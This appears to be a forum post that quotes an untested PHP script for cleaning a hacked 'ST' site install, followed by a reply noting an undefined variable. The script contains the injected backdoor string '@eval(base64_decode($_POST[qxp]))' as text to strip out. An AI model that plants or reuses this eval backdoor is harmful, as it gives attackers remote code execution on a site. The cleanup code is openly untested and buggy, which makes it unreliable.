View Single Post
Old 05-08-2010, 08:24 AM  
grumpy
Too lazy to set a custom title
 
grumpy's Avatar
 
Join Date: Jan 2002
Location: Holland
Posts: 9,870
Quote:
Originally Posted by k0nr4d View Post
untested (might not work at all. i dont have ST, and i just wrote it based on the instructions in the blog post). I take no responsibility if it breaks something, use at your own risk.

PHP Code:
<?php
$dbserver 
'';
$dbuser ''
$dbpass ''
$dbname ''
$dblink mysql_connect($dbserver,$dbuser,$dbpass);
mysql_select_db($dbname,$dblink);

copy("st/admin/variables.php","tmp/variables.bak"); 
$string file_get_contents("st/admin/variables.php");
$string str_replace("@eval(base64_decode($_POST[qxp]));//?;","",$string); 
file_put_contents("st/admin/variables.php",$string);
unlink("/tmp/sesa.tmp");
unlink("/tmp/webcam.tmp");
include(
'st/admin/variables.php'); 
mysql_query("UPDATE st_settings SET niche = '$niche'");
exit(
"Done"); 
?>

$niche is undefined
__________________
Don't let greediness blur your vision | You gotta let some shit slide
icq - 441-456-888
grumpy is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote